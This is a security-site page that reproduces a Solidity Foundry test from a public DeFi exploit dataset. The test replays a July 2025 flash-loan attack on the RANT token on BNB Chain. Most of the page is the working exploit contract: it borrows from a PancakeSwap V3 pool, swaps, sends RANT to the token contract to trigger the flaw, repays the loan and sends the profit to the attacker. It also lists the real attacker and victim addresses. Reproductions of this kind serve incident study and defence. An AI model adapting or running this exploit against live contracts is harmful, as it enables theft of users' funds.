Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/RANTToken_exp.sol

Public reproduction file for dataset entry RANT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/RANTToken_exp.sol107 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~ 311.4 BNB
8// Attacker : https://bscscan.com/address/0xad2cb8f48e74065a0b884af9c5a4ecbba101be23
9// Attack Contract : https://bscscan.com/address/0x1e2d48e640243b04a9fa76eb49080e9ab110b4ac
10// Created Attack Contract: https://bscscan.com/address/0xFd9267eE6594bD8E82e8030c353870fA1773F7f8
11// Vulnerable Contract : https://bscscan.com/address/0xc321ac21a07b3d593b269acdace69c3762ca2dd0
12// Attack Tx : https://bscscan.com/tx/0x2d9c1a00cf3d2fda268d0d11794ad2956774b156355e16441d6edb9a448e5a99
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0xc321ac21a07b3d593b269acdace69c3762ca2dd0#code
17// @Analysis
18// Post-mortem : N/A
19// Twitter Guy : https://x.com/Phalcon_xyz/status/1941788315549946225
20// Twitter Guy : https://x.com/AgentLISA_ai/status/1942162643437203531
21// Hacking God : N/A
23address constant RANT = 0xc321AC21A07B3d593B269AcdaCE69C3762CA2dd0;
24address constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
25address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
26address constant PANCAKE_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;
27address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
28address constant CAKE_LP = 0x42A93C3aF7Cb1BBc757dd2eC4977fd6D7916Ba1D;
29address constant BNB_EVE = 0xD3b0d838cCCEAe7ebF1781D11D1bB741DB7Fe1A7;
31contract RANTToken_exp is BaseTestWithBalanceLog {
32 uint256 blocknumToForkFrom = 52_974_382 - 1;
34 function setUp() public {
35 vm.createSelectFork("bsc", blocknumToForkFrom);
36 // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
37 // fundingToken = BSC_USD;
39 vm.label(RANT, "RANT");
40 vm.label(wBNB, "WBNB");
41 vm.label(BSC_USD, "BSC-USD");
42 vm.label(PANCAKE_V3_POOL, "PancakeV3Pool");
43 vm.label(PANCAKE_ROUTER, "PancakeSwap: Router v2");
44 vm.label(CAKE_LP, "0x42a9_Cake-LP");
45 vm.label(BNB_EVE, "Validator : BNBEve");
46 }
48 function testExploit() public balanceLog {
49 AttackContract attackContract = new AttackContract();
50 attackContract.start();
51 }
53 receive() external payable {
54 // Handle the received funds
55 }
58contract AttackContract {
59 address attacker;
60 uint256 borrowAmount = 2_813_769_505_544_453_342_436;
62 constructor() {
63 attacker = msg.sender;
64 }
66 function start() public {
67 IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(
68 address(this), 0, borrowAmount, hex"00000000000000000000000000000000000000000000009888e5694d8ba9c4e4"
69 );
70 }
72 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
73 IWBNB(payable(wBNB)).approve(PANCAKE_ROUTER, type(uint256).max);
74 IPancakePair(CAKE_LP).swap(
75 0,
76 96_605_739_642_631_517_916_080_650,
77 address(this),
78 hex"00000000000000000000000000000000000000000000009888e5694d8ba9c4e4"
79 );
81 IERC20(RANT).transfer(RANT, 10_733_970_071_403_501_990_675_973);
83 // console.log("Received funds in AttackContract: %s", address(this).balance);
84 IWBNB(payable(wBNB)).deposit{value: address(this).balance}();
86 IWBNB(payable(wBNB)).transfer(PANCAKE_V3_POOL, borrowAmount + fee1);
88 uint256 withdraw = IWBNB(payable(wBNB)).balanceOf(address(this));
89 // console.log("Withdrawn from wBNB: %s", withdraw);
90 IWBNB(payable(wBNB)).withdraw(withdraw);
91 // console.log("Withdrawn from wBNB: %s", address(this).balance);
93 //???
94 (bool success,) = payable(BNB_EVE).call{value: 0.1 ether}(""); // Send all BNB to the validator
96 (bool success2,) = payable(attacker).call{value: address(this).balance}(""); // Send all BNB to the attacker
97 }
99 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
100 IWBNB(payable(wBNB)).transfer(CAKE_LP, borrowAmount);
101 }
103 receive() external payable {
104 // Handle the received funds
105 // console.log("Received funds in AttackContract: %s", msg.value);
106 }

Analysis

Dataset entry

Public Foundry test for “RANT” (2025-07-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xad2cb8f48e74065a0b884af9c5a4ecbba101be23

  • Attack Contract

    0x1e2d48e640243b04a9fa76eb49080e9ab110b4ac

  • Vulnerable Contract

    0xc321ac21a07b3d593b269acdace69c3762ca2dd0

  • Attack Tx

    0x2d9c1a00cf3d2fda268d0d11794ad2956774b156355e16441d6edb9a448e5a99

File record

Name
RANT
Path
src/test/2025-07/RANTToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
7614f41aeb094eacbfaa2960202e223ad4be1e5d
Language
Solidity
Size
108 lines
Date
2025-07-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/RANTToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7614f41aeb094eacbfaa2960202e223ad4be1e5d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.